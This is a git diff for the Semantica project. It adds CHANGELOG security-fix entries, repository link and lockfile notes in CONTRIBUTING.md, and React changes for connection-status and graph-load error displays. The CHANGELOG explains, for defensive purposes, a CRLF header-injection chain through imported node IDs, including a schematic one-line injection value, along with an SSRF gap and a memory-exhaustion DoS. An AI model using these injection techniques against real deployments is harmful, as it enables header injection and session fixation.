+  - **Known limitation**: the SSRF host check does not classify RFC 6598 Carrier-Grade NAT space (`100.64.0.0/10`) as blocked — Python's `ipaddress.IPv4Address.is_private` does not cover that range, so a hostname resolving into it (e.g. some Kubernetes/CNI pod networks) would not be caught. Follow-up recommended to add it explicitly alongside the existing private/loopback/link-local checks
+  - `pytest tests/ingest/test_repo_ingestor_security.py -v`: 44 passed
+
+- **HTTP response header injection via `node_id`, unbounded-memory DoS in link prediction, and unsanitized imported node IDs in the Explorer** (#912) by @Sunil56224972
+  - `semantica/explorer/routes/provenance.py`'s `GET /api/provenance/report` f-string-interpolated the `node_id` query parameter directly into the `Content-Disposition` response header; a `\r\n`-bearing `node_id` could inject arbitrary response headers (`Set-Cookie` session fixation, `Content-Type` override for reflected XSS). Fixed with `_safe_content_disposition_filename()`, which strips `\r`, `\n`, `\x00`, `"`, `\` and length-caps the value before interpolation
+  - `POST /api/enrich/links` (link prediction) loaded up to 999,999 nodes with no cap or concurrency guard, then scored every candidate — a single request could consume ~1.6 GB RAM, and concurrent requests compounded that with no limit. Capped the candidate pool at 10,000 nodes (`413` if exceeded) and added an `asyncio.Semaphore(2)`, mirroring the SPARQL DoS fix in #898
+  - `POST /api/import` stored uploaded JSON/CSV node IDs verbatim; since provenance reports reflect `node_id` into `Content-Disposition`, an attacker could upload a node with a CRLF-bearing ID once and trigger the header-injection chain above for every subsequent viewer. Added `_sanitize_import_node_id()`, applied to node and edge `source_id`/`target_id` fields on both the JSON and CSV import paths
+  - **Corrected during review**: the JSON import path had a second, unsanitized branch — any uploaded node object already carrying a `"properties"` key (the shape this app's own `/api/export` produces, and already used elsewhere in the test suite) was appended to the graph as-is, bypassing `_sanitize_import_node_id()` entirely and leaving the stored-header-injection chain open via a one-line payload (`{"id": "<crlf>", "properties": {}}`). That branch now sanitizes `id` before storing
+  - **Corrected during review**: the link-prediction cap checked `total` only *after* calling `session.get_nodes()`/`get_edges()`, which normalize the graph's *entire* matching node/edge set before applying `limit` — so the guard ran after the expensive work it was meant to prevent had already happened, on every request regardless of graph size. Added `GraphSession.get_raw_counts()`, an O(1) check against the raw `len(graph.nodes)`/`len(graph.edges)` collections, and moved the size check ahead of the normalizing calls
+  - **Corrected during review**: 5 of the original PR's 22 regression tests asserted that literal words like `"Set-Cookie"`/`"Content-Type"` disappeared from the sanitized value — the sanitizer only strips `\r\n\x00"\\`, not letters, so those assertions failed against the PR's own fix as submitted. Corrected to assert on the property that actually blocks header injection (no `\r`/`\n` survives), and added end-to-end tests that exercise the real `/api/import` → `/api/provenance/report` route chain (not just the standalone sanitizer function) so the `properties`-key bypass has regression coverage
+  - Full `explorer` suite: 241 passed; `tests/test_security_regression_pr2.py`: 30 passed
+
+- **`fastapi`/`python-multipart` floors in the `explorer` extra allowed PYSEC-2024-38 (CVE-2024-24762 / GHSA-2jv5-9r88-3w3p, `python-multipart` ReDoS)** (#871, closes #869) by @agu2347
+  - `explorer` declared `fastapi>=0.100.0` and `python-multipart>=0.0.6`; both floors resolve to versions carrying a ReDoS in `python-multipart`'s `Content-Type` header option parser (`parse_options_header`), reachable by any endpoint that accepts form/multipart data — an attacker-crafted header option can stall the event loop for minutes
+  - **Corrected during review**: the original fix raised only `fastapi>=0.109.1`, leaving `python-multipart>=0.0.6` unchanged. `python-multipart` is declared as its own direct dependency in the `explorer` extra rather than pulled in transitively via `fastapi[all]`, so a bare `fastapi` install enforces no `python-multipart` floor at all — the vulnerable `0.0.6` could still resolve with `fastapi>=0.109.1` in place. Floors raised to `fastapi>=0.109.2` / `python-multipart>=0.0.7`, the first versions of each that exclude the vulnerable range
+  - **Fixed along the way**: the `Security` workflow's `pip-audit` job ran only on a weekly schedule with `continue-on-error: true`, against a bare Python environment with none of Semantica's optional extras installed — it would never have seen `fastapi`/`python-multipart` regardless of which floor was pinned. `security-scan.yml`'s Safety check has the same blind spot (`pip install -e ".[llm-litellm]"` only, never `[explorer]`). `pip-audit` now also runs on `pull_request` when `pyproject.toml` changes, installs `semantica[all]`, and fails the build on any finding for that trigger; the schedule/`workflow_dispatch` runs stay non-blocking pending a full pass over any pre-existing findings across the whole `[all]` tree
+  - **Caught by the new gate on its first run**: `python -m pip install -e ".[all]"` pulled in `setuptools==79.0.1`, vulnerable to CVE-2026-59890/GHSA-h35f-9h28-mq5c/PYSEC-2026-3447 (Unicode-normalization bypass of `MANIFEST.in` exclude/prune patterns on macOS APFS/HFS+, letting excluded files leak into a built sdist), fixed in `83.0.0`. `[build-system] requires` had the exact same too-permissive-floor pattern this whole entry is about (`setuptools>=61.0`), and `actions/setup-python`'s baked-in `setuptools` isn't governed by that pin at all since it's outside any isolated build. Bumped `[build-system] requires` to `setuptools>=83.0.0`, and the `Security` workflow now runs `pip install --upgrade pip setuptools` before auditing so the scanned environment can't have a stale ambient copy regardless of what governs it
+  - Full `explorer` suite: 241 passed
+
 ## [0.6.5] - 2026-08-11
 
 ### Added

CONTRIBUTING.md

@@ -2,20 +2,20 @@
 
 Thank you for your interest in contributing! Every contribution, no matter how small, is valuable. 🎉
 
-⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
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+> **New to contributing?** Start with a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community.
 
 ---
 
 ## 🚀 Quick Start
 
-1. Find a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue)
-2. [Fork Semantica](https://github.com/Hawksight-AI/semantica/fork) & clone the repository
+1. Find a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue)
+2. [Fork Semantica](https://github.com/semantica-agi/semantica/fork) & clone the repository
 3. Make your changes
 4. Submit a pull request!
 
-**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
+**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
 
 ---
 
@@ -39,7 +39,7 @@ If you want to work on an open GitHub issue, please follow these steps to keep t
 
 > **Why this matters:** Commenting before opening a PR helps maintainers track who is working on what, assign issues correctly, and prevent two contributors from solving the same problem independently. It also gives you a chance to align on the expected approach before writing code.
 
-Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH).
+Not sure where to start? Try a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH).
 
 ---
 
@@ -102,7 +102,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
 
 **What:** Report bugs you find
 
-**How:** Use the [bug report template](https://github.com/Hawksight-AI/semantica/issues/new?template=bug_report.md)
+**How:** Use the [bug report template](https://github.com/semantica-agi/semantica/issues/new?template=bug_report.md)
 
 **Include:** Description, steps to reproduce, expected vs actual behavior, environment details
 
@@ -112,7 +112,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
 
 **What:** Suggest new features or improvements
 
-**How:** Use the [feature request template](https://github.com/Hawksight-AI/semantica/issues/new?template=feature_request.md)
+**How:** Use the [feature request template](https://github.com/semantica-agi/semantica/issues/new?template=feature_request.md)
 
 **Include:** Problem statement, proposed solution, use cases
 
@@ -132,7 +132,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
 
 **What:** Help others in the community
 
-**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
+**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
 
 **Examples:** Answer questions, review PRs, share your projects
 
@@ -159,12 +159,12 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
 
 ### 1. Fork & Clone
 
-First, [fork Semantica](https://github.com/Hawksight-AI/semantica/fork) on GitHub, then:
+First, [fork Semantica](https://github.com/semantica-agi/semantica/fork) on GitHub, then:
 
 ```bash
 git clone https://github.com/your-username/semantica.git
 cd semantica
-git remote add upstream https://github.com/Hawksight-AI/semantica.git
+git remote add upstream https://github.com/semantica-agi/semantica.git
 ```
 
 ### 2. Set Up Environment
@@ -181,6 +181,39 @@ pip install -e ".[dev]"
 pre-commit install
 ```
 
+### Pinned CI dependencies
+
+`requirements-ci.txt` pins every transitive dependency at exact versions so CI,
+security scans, and release builds install the same packages every run (the
+Python equivalent of `explorer/package-lock.json` + `npm ci`). It is a
+**separate build environment**: every package carries a SHA-256 hash
+(`--generate-hashes`), so installs are reproducible and supply-chain safe —
+never install into your local dev environment from it.
+
+Regenerate it after changing `pyproject.toml` dependencies:
+
+```bash
+pip install uv==0.12.1
+uv pip compile pyproject.toml --python-version 3.11 --extra all --generate-hashes -o requirements-ci.txt
+```
+
+The `all` extra is the repo's cross-platform dependency set (GPU extras like
+`faiss-gpu`/`cupy` are excluded and installed separately on Linux — see
+`pyproject.toml`). Keep the pinned `uv` version in sync with CI so regeneration
+is deterministic.
+
+CI's staleness check re-resolves with the committed lockfile as a constraint
+and compares version lines only: upstream package releases never fail CI —
+the lockfile changes only when `pyproject.toml` changes intentionally.
+
+CI fails if `requirements-ci.txt` is stale relative to `pyproject.toml`
+(the version-line comparison detects new/removed/changed dependencies).
+
+Build-system pins: `[build-system].requires` is pinned to exact versions
+(`setuptools==84.0.0`, `wheel==0.48.0`) and release builds run
+`python -m build --no-isolation` against the lockfile — no unpinned
+build-time isolation anywhere.
+
 ### 3. Create Branch
 
 ```bash
@@ -351,8 +384,8 @@ result = instance.method()
 ## 🆘 Getting Help
 
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+- 💭 [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions) - Q&A
+- 🐛 [GitHub Issues](https://github.com/semantica-agi/semantica/issues) - Bug reports
 
 **Before asking:** Check existing documentation, search issues/discussions, review cookbook examples
 
@@ -387,4 +420,4 @@ This project follows a [Code of Conduct](CODE_OF_CONDUCT.md). Be respectful and
 
 Every contribution matters - whether it's a single line of code, a typo fix, a helpful answer, or a bug report. We appreciate you! 🙏
 
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explorer/src/App.tsx

@@ -67,6 +67,14 @@ type GraphStatsPayload = {
   edges?: number;
 };
 
+type ConnectionStatus = 'checking' | 'online' | 'offline';
+
+const CONNECTION_STATUS_LABEL: Record<ConnectionStatus, string> = {
+  checking: 'Connecting…',
+  online: 'System Online',
+  offline: 'Backend Unreachable',
+};
+
 const queryClient = new QueryClient();
 
 const PREVIEW_DOTS = Array.from({ length: 42 }, (_, i) => ({
@@ -719,19 +727,34 @@ const shellStyles = `
     align-items: center;
     gap: 10px;
     margin-bottom: 24px;
+    --status-color: #4cc38a;
+    --status-shadow-a: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
+    --status-shadow-b: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35);
+  }
+
+  .landing-status-bar[data-status='checking'] {
+    --status-color: #f2b66d;
+    --status-shadow-a: 0 0 0 3px rgba(242, 182, 109, 0.22), 0 0 12px rgba(242, 182, 109, 0.5);
+    --status-shadow-b: 0 0 0 5px rgba(242, 182, 109, 0.1), 0 0 20px rgba(242, 182, 109, 0.35);
+  }
+
+  .landing-status-bar[data-status='offline'] {
+    --status-color: #ff7b72;
+    --status-shadow-a: 0 0 0 3px rgba(255, 123, 114, 0.22), 0 0 12px rgba(255, 123, 114, 0.5);
+    --status-shadow-b: 0 0 0 5px rgba(255, 123, 114, 0.1), 0 0 20px rgba(255, 123, 114, 0.35);
   }
 
   .landing-status-dot {
     width: 8px;
     height: 8px;
     border-radius: 999px;
-    background: #4cc38a;
-    box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
+    background: var(--status-color);
+    box-shadow: var(--status-shadow-a);
     animation: landing-pulse 2.4s ease-in-out infinite;
   }
 
   .landing-status-text {
-    color: #4cc38a;
+    color: var(--status-color);
     font: 700 11px/1 "JetBrains Mono", monospace;
     letter-spacing: 0.1em;
     text-transform: uppercase;
@@ -1323,8 +1346,8 @@ const shellStyles = `
   }
 
   @keyframes landing-pulse {
-    0%, 100% { box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5); }
-    50% { box-shadow: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35); }
+    0%, 100% { box-shadow: var(--status-shadow-a); }
+    50% { box-shadow: var(--status-shadow-b); }
   }
 
   .workspace-loading {
@@ -1494,10 +1517,10 @@ function WelcomeScreen({
   onOpenDecisions: () => void;
   onOpenManage: () => void;
 }) {
-  const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; ready: boolean }>({
+  const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; status: ConnectionStatus }>({
     nodes: null,
     edges: null,
-    ready: false,
+    status: 'checking',
   });
 
   useEffect(() => {
@@ -1507,31 +1530,32 @@ function WelcomeScreen({
       .then((response) => (response.ok ? response.json() as Promise<GraphStatsPayload> : null))
       .then((payload) => {
         if (!payload) {
-          setStats((current) => ({ ...current, ready: false }));
+          setStats((current) => ({ ...current, status: 'offline' }));
           return;
         }
 
         setStats({
           nodes: getNumberStat(payload, ['node_count', 'nodeCount', 'nodes']),
           edges: getNumberStat(payload, ['edge_count', 'edgeCount', 'edges']),
-          ready: true,
+          status: 'online',
         });
       })
       .catch((error: unknown) => {
         if (error instanceof DOMException && error.name === 'AbortError') {
           return;
         }
-        setStats((current) => ({ ...current, ready: false }));
+        setStats((current) => ({ ...current, status: 'offline' }));
       });
 
     return () => controller.abort();
   }, []);
 
+  const isOnline = stats.status === 'online';
   const metrics: LandingMetric[] = [
     { label: 'Knowledge nodes', value: formatMetric(stats.nodes, 'Live'), tone: 'cyan' },
     { label: 'Relationships mapped', value: formatMetric(stats.edges, 'Ready'), tone: 'mint' },
     { label: 'Graph modes', value: '3', tone: 'amber' },
-    { label: stats.ready ? 'Dataset online' : 'Ready to explore', value: stats.ready ? 'Active' : 'Standby', tone: 'rose' },
+    { label: isOnline ? 'Dataset online' : 'Ready to explore', value: isOnline ? 'Active' : 'Standby', tone: 'rose' },
   ];
 
   const secondaryLaunchers: LandingAction[] = [
@@ -1574,9 +1598,9 @@ function WelcomeScreen({
         {/* ── Hero ── */}
         <section className="landing-hero">
           <div className="landing-copy">
-            <div className="landing-status-bar">
+            <div className="landing-status-bar" data-status={stats.status}>
               <div className="landing-status-dot" />
-              <span className="landing-status-text">System Online</span>
+              <span className="landing-status-text">{CONNECTION_STATUS_LABEL[stats.status]}</span>
               <div className="landing-status-divider" />
               <span className="landing-status-version">Semantica v2 · Semantic Intelligence</span>
             </div>

explorer/src/workspaces/GraphWorkspace/GraphLoadingOverlay.tsx

@@ -1,4 +1,5 @@
 import { useEffect, useRef, useState, type CSSProperties } from "react";
+import { AlertTriangle, RefreshCw } from "lucide-react";
 
 import { GRAPH_THEME, withAlpha } from "./graphTheme";
 import { GRAPH_LOAD_STAGE_SEQUENCE, createGraphLoadProgress, getGraphLoadStageLabel } from "./graphLoading";
@@ -121,6 +122,58 @@ const LOADING_OVERLAY_CSS = `
     0% { transform: translateX(-120%); }
     100% { transform: translateX(360%); }
   }
+  .graph-stage-loader-card[data-error="true"] {
+    pointer-events: auto;
+    border-color: rgba(255, 123, 114, 0.32);
+    background:
+      radial-gradient(circle at top left, rgba(255, 123, 114, 0.12), transparent 32%),
+      linear-gradient(145deg, rgba(7, 17, 31, 0.96), rgba(24, 14, 18, 0.86));
+  }
+  .graph-stage-loader-error-mark {
+    width: 38px;
+    height: 38px;
+    flex: 0 0 auto;
+    border-radius: 12px;
+    display: grid;
+    place-items: center;
+    color: #ff9e97;
+    background: rgba(255, 123, 114, 0.12);
+    border: 1px solid rgba(255, 123, 114, 0.28);
+  }
+  .graph-stage-loader-error-detail {
+    padding: 10px 12px;
+    border-radius: 10px;
+    background: rgba(0, 0, 0, 0.32);
+    border: 1px solid rgba(255, 123, 114, 0.18);
+    color: #ffb4ae;
+    font-family: "JetBrains Mono", "Fira Code", Consolas, monospace;
+    font-size: 12px;
+    line-height: 1.55;
+    word-break: break-word;
+  }
+  .graph-stage-loader-retry {
+    display: inline-flex;
+    align-items: center;
+    gap: 7px;
+    padding: 9px 16px;
+    border-radius: 8px;
+    font-size: 13px;
+    font-weight: 700;
+    cursor: pointer;
+    border: 1px solid rgba(127, 208, 255, 0.4);
+    background: linear-gradient(135deg, rgba(74, 163, 255, 0.28), rgba(56, 210, 160, 0.16));
+    color: #e8f6ff;
+    transition: 160ms ease;
+  }
+  .graph-stage-loader-retry:hover {
+    border-color: rgba(127, 208, 255, 0.62);
+    background: linear-gradient(135deg, rgba(74, 163, 255, 0.4), rgba(56, 210, 160, 0.24));
+    transform: translateY(-1px);
+  }
+  .graph-stage-loader-retry:focus-visible {
+    outline: 2px solid #7fd0ff;
+    outline-offset: 2px;
+  }
 `;
 
 function formatLayoutSource(source: GraphLoadProgress["layoutSource"]) {
@@ -170,10 +223,14 @@ export function GraphLoadingOverlay({
   progress,
   visible,
   showGraphBehind,
+  error = null,
+  onRetry,
 }: {
   progress: GraphLoadProgress | null;
   visible: boolean;
   showGraphBehind: boolean;
+  error?: string | null;
+  onRetry?: () => void;
 }) {
   const [renderVisible, setRenderVisible] = useState(visible);
   const [exiting, setExiting] = useState(false);
@@ -226,6 +283,44 @@ export function GraphLoadingOverlay({
     return null;
   }
 
+  if (error) {
+    return (
+      <div
+        className="graph-stage-loader"
+        data-exiting={exiting}
+        style={{ background: "linear-gradient(180deg, rgba(1,4,9,0.22), rgba(1,4,9,0.5))" }}
+      >
+        <style>{LOADING_OVERLAY_CSS}</style>
+        <div className="graph-stage-loader-card" data-error="true" role="alert">
+          <div style={{ display: "flex", alignItems: "flex-start", gap: 14, marginBottom: 14 }}>
+            <div className="graph-stage-loader-error-mark" aria-hidden="true">
+              <AlertTriangle size={18} strokeWidth={2.2} />
+            </div>
+            <div style={{ minWidth: 0 }}>
+              <div style={{ color: "#ffffff", fontSize: 20, fontWeight: 700, letterSpacing: "-0.03em", marginBottom: 6 }}>
+                Could not load the graph
+              </div>
+              <div style={{ color: "#8fa8c6", fontSize: 13, lineHeight: 1.5 }}>
+                The Explorer API did not return graph data. Check that the backend is running and reachable, then try again.
+              </div>
+            </div>
+          </div>
+
+          <div className="graph-stage-loader-error-detail">{error}</div>
+
+          {onRetry ? (
+            <div style={{ display: "flex", gap: 10, marginTop: 16 }}>
+              <button type="button" className="graph-stage-loader-retry" onClick={onRetry}>
+                <RefreshCw size={14} strokeWidth={2.2} aria-hidden />
+                Retry
+              </button>
+            </div>
+          ) : null}
+        </div>
+      </div>
+    );
+  }
+
   const activeProgress = progress ?? displayProgress;
   const isLiveStage = activeProgress.phase === "stabilizing_layout" || activeProgress.showGraphBehind || showGraphBehind;
   const overlayBackground = isLiveStage

explorer/src/workspaces/GraphWorkspace/GraphRuntimeStage.tsx

@@ -1,479 +0,0 @@
-import { forwardRef, useEffect, useImperativeHandle, useMemo, useRef, useState } from "react";
-
-import { batchMergeEdges, batchMergeNodes, clearGraph, graph, type EdgeAttributes, type NodeAttributes } from "../../store/graphStore";
-import { SigmaSceneAdapter } from "./SigmaSceneAdapter";
-import { createGraphLoadProgress } from "./graphLoading";
-import { resolveDisplayGraph } from "./graphSceneState";
-import {
-  chooseColorAccessor,
-  colorForNodeKey,
-  computeDegreeMap,
-  computeEdgeSize,
-  computeNodeSize,
-  computePageRank,
-  deterministicPosition,
-} from "./graphAnalytics";
-import { GRAPH_THEME } from "./graphConfig";
-import type { GraphSceneHandle } from "./scene";
-import type {
-  GraphDataSnapshot,
-  GraphEffectsState,
-  GraphLayoutSource,
-  GraphLayoutStatus,
-  GraphLoadProgress,
-  GraphPath,
-  GraphSelectedNodeState,
-  GraphStageHandle,
-  GraphViewMode,
-} from "./types";
-
-const STAGE_EFFECTS_STATE: GraphEffectsState = {
-  pathPulseEnabled: false,
-  pathFlowEnabled: false,
-  lensEnabled: false,
-  temporalEmphasisEnabled: false,
-  semanticRegionsEnabled: false,
-  contoursEnabled: false,
-  pathfindingEnabled: false,
-  communitiesEnabled: false,
-  centralityEnabled: false,
-  legendEnabled: false,
-  diagnosticsEnabled: false,
-  lensMode: "neighborhood",
-  effectQuality: "bounded",
-};
-const EMPTY_PATH: string[] = [];
-
-const socketProtocol = () => (window.location.protocol === "https:" ? "wss:" : "ws:");
-
-function yieldToMain(): Promise<void> {
-  if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
-    return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
-  }
-  return new Promise((resolve) => setTimeout(resolve, 0));
-}
-
-function buildSelectedNodeState(nodeId: string): GraphSelectedNodeState | null {
-  if (!nodeId || !graph.hasNode(nodeId)) {
-    return null;
-  }
-
-  const attributes = graph.getNodeAttributes(nodeId) as NodeAttributes;
-  return {
-    id: nodeId,
-    label: String(attributes.label || nodeId),
-    content: String(attributes.content || attributes.label || nodeId),
-    nodeType: attributes.nodeType || "entity",
-    color: attributes.color,
-    valid_from: attributes.valid_from ?? null,
-    valid_until: attributes.valid_until ?? null,
-    properties: attributes.properties ?? {},
-    neighborCount: graph.neighbors(nodeId).length,
-    visibleNeighborCount: graph.neighbors(nodeId).length,
-    collapsedNeighborCount: 0,
-    isNeighborhoodCollapsed: false,
-    canCollapseNeighborhood: graph.neighbors(nodeId).length > 8,
-  };
-}
-
-function hasUsableCoordinate(value: unknown): value is number {
-  return typeof value === "number" && Number.isFinite(value);
-}
-
-interface GraphRuntimeStageProps {
-  snapshot: GraphDataSnapshot | null | undefined;
-  selectedNodeId: string;
-  activePath: GraphPath;
-  onNodeSelect: (nodeId: string) => void;
-  onSelectedNodeStateChange: (state: GraphSelectedNodeState | null) => void;
-  isLayoutRunning: boolean;
-  onLayoutRunningChange: (running: boolean) => void;
-  viewMode: GraphViewMode;
-  temporalTime: Date | null;
-  onActiveNodeCountChange: (count: number | null) => void;
-  onProgressChange: (progress: GraphLoadProgress | null) => void;
-  onLayoutStatusChange: (status: GraphLayoutStatus) => void;
-  onRuntimeReady: () => void;
-}
-
-export const GraphRuntimeStage = forwardRef<GraphStageHandle, GraphRuntimeStageProps>(
-  function GraphRuntimeStage(
-    {
-      snapshot,
-      selectedNodeId,
-      activePath,
-      onNodeSelect,
-      onSelectedNodeStateChange,
-      isLayoutRunning,
-      onLayoutRunningChange,
-      viewMode,
-      temporalTime,
-      onActiveNodeCountChange,
-      onProgressChange,
-      onLayoutStatusChange,
-      onRuntimeReady,
-    },
-    ref,
-  ) {
-    const sceneRef = useRef<GraphSceneHandle>(null);
-    const prevActiveIdsRef = useRef<Set<string>>(new Set());
-    const [graphVersion, setGraphVersion] = useState(0);
-    const [runtimeLayoutSource, setRuntimeLayoutSource] = useState<GraphLayoutSource>(snapshot?.summary.layoutSource ?? "runtime");
-    const displayResult = useMemo(
-      () => resolveDisplayGraph(selectedNodeId, activePath, EMPTY_PATH, viewMode, { aggregationEnabled: true }),
-      [activePath, graphVersion, selectedNodeId, viewMode],
-    );
-
-    const stageSignature = useMemo(() => (snapshot ? `${snapshot.fetchedAt}:${snapshot.summary.nodeCount}:${snapshot.summary.edgeCount}` : null), [snapshot]);
-
-    useImperativeHandle(ref, () => ({
-      fitView: () => sceneRef.current?.fitView(),
-      focusNode: (nodeId: string) => sceneRef.current?.focusNode(nodeId),
-    }), []);
-
-    useEffect(() => {
-      let cancelled = false;
-
-      async function hydrateSnapshot() {
-        if (!snapshot) {
-          return;
-        }
-
-        onProgressChange(createGraphLoadProgress({
-          phase: "computing_styling",
-          progressKind: "indeterminate",
-          nodesLoaded: snapshot.summary.nodeCount,
-          nodesTotal: snapshot.summary.nodeCount,
-          edgesLoaded: snapshot.summary.edgeCount,
-          edgesTotal: snapshot.summary.edgeCount,
-          message: "Computing runtime graph styling",
-          showGraphBehind: false,
-        }));
-
-        const degreeByNode = computeDegreeMap(snapshot.nodes, snapshot.edges);
-        const pageRankByNode = computePageRank(snapshot.nodes, snapshot.edges);
-        const nodeIndexById = new Map(snapshot.nodes.map((node, index) => [node.id, index]));
-        const previousPositions = new Map<string, { x: number; y: number }>();
-
-        graph.forEachNode((nodeId, attributes) => {
-          const raw = attributes as Partial<NodeAttributes>;
-          const x = Number(raw.x);
-          const y = Number(raw.y);
-          if (Number.isFinite(x) && Number.isFinite(y)) {
-            previousPositions.set(nodeId, { x, y });
-          }
-        });
-
-        let explicitCoordinateCount = 0;
-        let carriedCoordinateCount = 0;
-        const draftAttributes = snapshot.nodes.map((node) => {
-          const previousPosition = previousPositions.get(node.id);
-          const position = hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)
-            ? { x: node.x, y: node.y }
-            : previousPosition
-              ? previousPosition
-              : deterministicPosition(node.id, nodeIndexById.get(node.id) ?? 0, snapshot.nodes.length);
-
-          if (hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)) {
-            explicitCoordinateCount += 1;
-          } else if (previousPosition) {
-            carriedCoordinateCount += 1;
-          }
-
-          return {
-            id: node.id,
-            attributes: {
-              label: node.content || node.id,
-              x: position.x,
-              y: position.y,
-              nodeType: node.type,
-              content: node.content,
-              valid_from: node.valid_from,
-              valid_until: node.valid_until,
-              properties: node.properties,
-            } as NodeAttributes,
-          };
-        });
-
-        const layoutSource: GraphLayoutSource = explicitCoordinateCount > 0
-          ? "provided"
-          : carriedCoordinateCount > 0
-            ? "carried"
-            : "runtime";
-        const hasCoordinates = explicitCoordinateCount > 0 || carriedCoordinateCount > 0;
-        setRuntimeLayoutSource(layoutSource);
-
-        const colorAccessor = chooseColorAccessor(draftAttributes);
-        await yieldToMain();
-        if (cancelled) {
-          return;
-        }
-
-        onProgressChange(createGraphLoadProgress({
-          phase: "hydrating_scene",
-          progressKind: "indeterminate",
-          nodesLoaded: snapshot.summary.nodeCount,
-          nodesTotal: snapshot.summary.nodeCount,
-          edgesLoaded: snapshot.summary.edgeCount,
-          edgesTotal: snapshot.summary.edgeCount,
-          message: "Hydrating graph scene and renderer",
-          showGraphBehind: false,
-        }));
-
-        const nodesToMerge = draftAttributes.map(({ id, attributes }) => {
-          const colorKey = colorAccessor(id, attributes);
-          const baseColor = colorForNodeKey(colorKey);
-          const dynamicSize = computeNodeSize(id, degreeByNode, pageRankByNode);
-          return {
-            id,
-            attributes: {
-              ...attributes,
-              color: baseColor,
-              baseColor,
-              size: dynamicSize,
-              baseSize: dynamicSize,
-              degree: degreeByNode.get(id) ?? 0,
-              pageRank: pageRankByNode.get(id) ?? 0,
-              glowColor: baseColor,
-              borderColor: GRAPH_THEME.nodes.border,
-              borderSize: 1,
-            } as NodeAttributes,
-          };
-        });
-
-        const edgesToMerge = snapshot.edges.map((edge) => ({
-          id: edge.id,
-          familyId: edge.familyId,
-          source: edge.source,
-          target: edge.target,
-          attributes: {
-            edgeId: edge.id,
-            familyId: edge.familyId,
-            sourceId: edge.source,
-            targetId: edge.target,
-            weight: edge.weight,
-            edgeType: edge.type,
-            properties: edge.properties,
-            size: computeEdgeSize(edge.weight),
-            baseSize: computeEdgeSize(edge.weight),
-            color: GRAPH_THEME.edges.baseColor,
-            baseColor: GRAPH_THEME.edges.baseColor,
-          } as EdgeAttributes,
-        }));
-
-        clearGraph();
-        batchMergeNodes(nodesToMerge);
-        batchMergeEdges(edgesToMerge);
-        prevActiveIdsRef.current = new Set(snapshot.nodes.map((node) => node.id));
-
-        await yieldToMain();
-        if (cancelled) {
-          return;
-        }
-
-        onLayoutStatusChange({
-          state: layoutSource === "runtime" ? "bootstrapping" : "interactive",
-          source: layoutSource,
-          hasCoordinates,
-          layoutReady: layoutSource !== "runtime",
-          displacement: null,
-          elapsedMs: 0,
-          stableSamples: 0,
-        });
-
-        onLayoutRunningChange(layoutSource === "runtime");
-        if (selectedNodeId) {
-          sceneRef.current?.focusNode(selectedNodeId);
-        } else {
-          sceneRef.current?.getRuntime()?.requestRender();
-        }
-        setGraphVersion((current) => current + 1);
-        if (layoutSource !== "runtime") {
-          onProgressChange(null);
-        } else {
-          onProgressChange(createGraphLoadProgress({
-            phase: "stabilizing_layout",
-            progressKind: "indeterminate",
-            nodesLoaded: snapshot.summary.nodeCount,
-            nodesTotal: snapshot.summary.nodeCount,
-            edgesLoaded: snapshot.summary.edgeCount,
-            edgesTotal: snapshot.summary.edgeCount,
-            message: "Settling runtime layout",
-            showGraphBehind: true,
-            layoutSource,
-            layoutState: "bootstrapping",
-          }));
-        }
-        onRuntimeReady();
-      }
-
-      void hydrateSnapshot();
-      return () => {
-        cancelled = true;
-      };
-    }, [onLayoutRunningChange, onLayoutStatusChange, onProgressChange, onRuntimeReady, selectedNodeId, snapshot, stageSignature]);
-
-    useEffect(() => {
-      if (!selectedNodeId) {
-        onSelectedNodeStateChange(null);
-        return;
-      }
-
-      onSelectedNodeStateChange(buildSelectedNodeState(selectedNodeId));
-    }, [graphVersion, onSelectedNodeStateChange, selectedNodeId, viewMode]);
-
-    useEffect(() => {
-      if (!snapshot || !temporalTime) {
-        return;
-      }
-
-      let cancelled = false;
-
-      const applySnapshot = async () => {
-        try {
-          const response = await fetch(`/api/temporal/snapshot?at=${encodeURIComponent(temporalTime.toISOString())}`);
-          if (!response.ok || cancelled) {
-            return;
-          }
-
-          const data: { active_node_ids: string[]; active_node_count: number } = await response.json();
-          if (cancelled) {
-            return;
-          }
-
-          const nextActiveIds = new Set(data.active_node_ids);
